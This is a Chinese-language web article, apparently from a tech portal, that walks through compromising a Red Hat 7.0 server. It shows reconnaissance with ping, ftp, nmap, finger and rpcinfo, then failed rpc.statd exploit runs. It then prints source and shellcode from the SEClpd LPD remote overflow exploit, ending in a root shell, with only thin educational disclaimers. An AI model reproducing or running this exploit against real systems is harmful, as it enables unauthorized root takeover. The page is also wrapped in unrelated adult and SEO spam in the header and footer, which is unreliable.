成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux就這樣被黑客入侵

系統 Linux
有一些資深的系統安全分析家肯定地認為:在未來的5年里,Linux將成為最安全的操作系統。Linux是最安全的的系統嗎?本文將就此展開話題:黑客利于LPD:網絡打印服務Linux入侵。本文目的不在于教人入侵,而是為了提高自身的技術和加強網絡管理員的安全防范意識。

       此文的目的不在于教人入侵,而是為了提高自身的技術和加強網絡管理員的安全防范意識。僅此而已!粗心大意的網絡管理員應該明白:由于你們一個小小的操作失誤可能會導致整個網絡全面淪陷!本文主要是圍繞LPD:網絡打印服務的攻擊而進行的。

  首先確定目標,假設是:www.XXX.com

  先讓俺看看是不是連得上:

  1. 以下是引用片段:  
  2.  C:\ping www.XXX.com   
  3.   Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   
  4.   Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   
  5.   Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   
  6.   Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   
  7.   Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   
  8.   Ping statistics for 202.106.184.200:   
  9.   Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   
  10.   Approximate round trip times in milli-seconds:   
  11.   Minimum = 511ms, Maximum = 651ms, Average = 580ms   
  12.   嘻嘻—不但連得上,速度還不錯……   
  13.   先telnet看看banner:   
  14.         C:\>telnet www.XXX.com 

 

       遺失對主機的連接。

 

  再試試ftp,

  1. 以下是引用片段:  
  2. C:\>ftp www.XXX.com   
  3.   Connected to www.fbi.gov.tw.   
  4.   220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   
  5.         User (www.XXX.com:(none)): 
       wu-2.6.1看來有點眉目了。這臺機器像是RedHat7.0!首先必須確認一下,連上俺的跳板:
 

  1. 以下是引用片段:  
  2.  C:\>telnet xxx.xxx.xxx.xxx   
  3.   Red Hat Linux release 7.0 (Guinness)   
  4.   Kernel 2.2.16-22smp on an i686   
  5.   login: fetdog   
  6.   Password:   
  7.         bash-2.04$ 

       拿nmap掃描器,看看其中的奧妙~~~
 

  1. 以下是引用片段:  
  2.  bash-2.04$nmap -sT -O www.XXX.com   
  3.   Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   
  4.   WARNING! The following files exist and are readable: /usr/local/sha   
  5.   -services and ./nmap-services. I am choosing /usr/local/share/nmap/   
  6.   s for security reasons. set NMAPDIR=. to give priority to files in   
  7.   irectory   
  8.   Interesting ports on (www.XXX.com):   
  9.   (The 1520 ports scanned but not shown below are in state: closed)   
  10.   Port State Service   
  11.   25/tcp open smtp   
  12.   79/tcp open finger   
  13.   80/tcp open http   
  14.   111/tcp open sunrpc   
  15.   113/tcp open auth   
  16.   443/tcp open https   
  17.   513/tcp open login   
  18.   514/tcp open shell   
  19.   515/tcp open printer   
  20.   587/tcp open submission   
  21.   1024/tcp open kdm   
  22.   TCP Sequence Prediction: Class=random positive increments   
  23.   Difficulty=3247917 (Good luck!)   
  24.   Remote operating system guess: Linux 2.1.122 - 2.2.16   
  25.         Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 

 

       打開的端口還挺多,這意味著入侵的可能性增加。79/tcp open finger ,先看看這個,不過linux沒有finger用戶列表這個漏洞。
 

#p#
 

  1. 以下是引用片段:  
  2.  bash-2.04$finger @www.XXX.com   
  3.   [www.XXX.com]   
  4.         No one logged on. 

       再看看111/tcp open sunrpc 。近來rpc漏洞風行,不知道RH7這個東東會不會有?先看看再說!

  1. 以下是引用片段:  
  2.  bash-2.04$rpcinfo -p www.XXX.com   
  3.   program vers proto port service   
  4.   100000 2 tcp 111 rpcbind   
  5.   100000 2 udp 111 rpcbind   
  6.   100021 1 udp 1024 nlockmgr   
  7.   100021 3 udp 1024 nlockmgr   
  8.   100024 1 udp 1025 status   
  9.         100024 1 tcp 1024 status 

      看來有rpc.statd服務。來看看能不能遠程溢出拿個rootshell。

  1. 以下是引用片段:  
  2.  bash-2.04$./statdx -h   
  3.   statdx by ron1n   
  4.   Usage: stat [-t] [-p port] [-a addr] [-l len]   
  5.   [-o offset] [-w num] [-s secs] [-d type]   
  6.   -t attack a tcp dispatcher [udp]   
  7.   -p rpc.statd serves requests on [query]   
  8.   -a the stack address of the buffer is   
  9.   -l the length of the buffer is [1024]   
  10.   -o the offset to return to is [600]   
  11.   -w the number of dwords to wipe is [9]   
  12.   -s set timeout in seconds to [5]   
  13.   -d use a hardcoded   
  14.   Available types:   
  15.   0 Redhat 6.2 (nfs-utils-0.1.6-2)   
  16.   1 Redhat 6.1 (knfsd-1.4.7-7)   
  17.   2 Redhat 6.0 (knfsd-1.2.2-4)   
  18.   看來并不支持RH7。還是繼續嘗試,把0-2全部試試看再說!start……   
  19.   bash-2.04$stat -d 0 www.XXX.com   
  20.   buffer: 0xbffff314 length: 999 (+str/+nul)   
  21.   target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  22.   wiping 9 dwords   
  23.   Failed - statd returned res_stat: (failure) state: 21   
  24.   受挫,再試……   
  25.   bash-2.04$stat -d 1 www.XXX.com   
  26.   buffer: 0xbffff314 length: 999 (+str/+nul)   
  27.   target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  28.   wiping 9 dwords   
  29.   Failed - statd returned res_stat: (failure) state: 21 

      一樣``繼續
      #p#

    

  1. 以下是引用片段:  
  2.  bash-2.04$stat -d 1 www.XXX.com   
  3.   buffer: 0xbffff314 length: 999 (+str/+nul)   
  4.   target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  5.   wiping 9 dwords   
  6.         Failed - statd returned res_stat: (failure) state: 21 

       rpc.statd行不通,想想RH7應該有個遠程溢出,好像是lp服務造成的。“seclpd.c”應該是這個東東了。

 

           —————以下代碼僅供教學使用,決不能用來進行惡意攻擊—————

  1. 以下是引用片段:  
  2.  /*   
  3.   * Welcome to http://hlc.cnroot.com/   
  4.   * Run: ./SEClpd victim brute -t type   
  5.   * Try first ./SEClpd victim -t 0 then try the brute.   
  6.   */   
  7.   #include   
  8.   #include   
  9.   #include   
  10.   #include   
  11.   #include   
  12.   #include   
  13.   #include   
  14.   #include   
  15.   #include   
  16.   #include   
  17.   #include   
  18.   #include   
  19.   #define ADDRESS_BUFFER_SIZE 32+4   
  20.   #define APPEND_BUFFER_SIZE 52   
  21.   #define FORMAT_LENGTH 512-8   
  22.   #define NOPCOUNT 200   
  23.   #define SHELLCODE_COUNT 1030   
  24.   #define DELAY 50000 /* usecs */   
  25.   #define OFFSET_LIMIT 5000   
  26.   char shellcode[] =   
  27.   "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"   
  28.   "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"   
  29.   "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"   
  30.   "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"   
  31.   "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"   
  32.   "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"   
  33.   "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"   
  34.   "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"   
  35.         "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

       brute暴力破解。等上5-8分鐘左右,結果出來了。
 

  1. 以下是引用片段:  
  2.  - [+] shell located on www.XXX.com   
  3.   - [+] Enter Commands at will   
  4.   Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown   
  5.         uid=0(root) gid=7(lp) 

      uid=0(root權限),現在可以近一步入侵!但不要做壞事!

      看了上文我們知道黑客主要是圍繞LPD:網絡打印服務的攻擊而進行的。再提醒一句本文目的不在于教你如何入侵linux,而是希望以后大家加強安全,有一定的網絡安全防范意識。

      【編輯推薦】

  1. .Net程序員以最簡單方式學習Linux
  2. 安裝linux系統可以用的5種方法
  3. 外媒評選過去25年10大黑客攻擊事件
  4. 2011年10大安全威脅 國家資助的黑客攻擊占首位
  5. 電影中5個最荒謬的黑客入侵場景
  6. 入侵檢測蜜罐簡化網絡安全

 

責任編輯:趙鵬
相關推薦

2021-02-22 11:34:21

黑客網絡安全網絡攻擊

2011-09-01 15:00:35

2021-05-06 10:20:13

特斯拉黑客漏洞

2020-12-10 14:36:09

黑客網絡安全網絡攻擊

2019-04-24 08:24:42

2013-11-05 10:55:49

2024-09-14 14:04:32

2020-12-18 08:50:58

微軟黑客SolarWinds

2025-01-20 15:53:09

2023-03-24 10:28:27

2020-04-28 09:12:55

Linux黑客惡意軟件

2015-02-28 13:49:14

2023-03-09 18:13:30

網絡攻擊黑客

2024-12-25 15:07:43

2020-08-18 16:21:36

安全黑客攝像機

2015-07-30 16:13:32

2015-09-16 11:06:00

2016-11-21 21:28:51

根目錄日志代碼

2015-07-21 09:27:30

2020-10-16 14:30:33

網絡攝像頭被黑客入侵
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久精品16 | 亚洲狠狠 | 九九精品网 | 中文字幕在线精品 | 国产高清在线 | 国产精品麻 | 国产乱码精品一区二区三区中文 | 日韩中文在线视频 | 99精品一区二区三区 | 成人免费共享视频 | 91在线视频 | 亚洲成人精品在线 | 精品久久一区 | 亚洲一区二区在线免费观看 | 欧美成年人 | 国产精品美女久久久久久久久久久 | 北条麻妃国产九九九精品小说 | 亚洲精品一区二区三区蜜桃久 | av一区二区三区四区 | 国产精品高潮呻吟久久 | 成人国产精品 | 成人黄色在线 | 日本一区二区电影 | 一区中文字幕 | 成人伊人 | 亚洲精品一二三 | 亚洲人成人一区二区在线观看 | 91资源在线观看 | 日日碰狠狠躁久久躁婷婷 | 亚洲在线| 成人久久视频 | 国产一级片在线播放 | 亚洲人成一区二区三区性色 | 精品国产区 | 九色网址| 亚洲二区视频 | 亚洲精品成人 | 日韩久久久久久久 | 亚洲精品无| 波多野结衣在线观看一区二区三区 | 在线欧美一区 |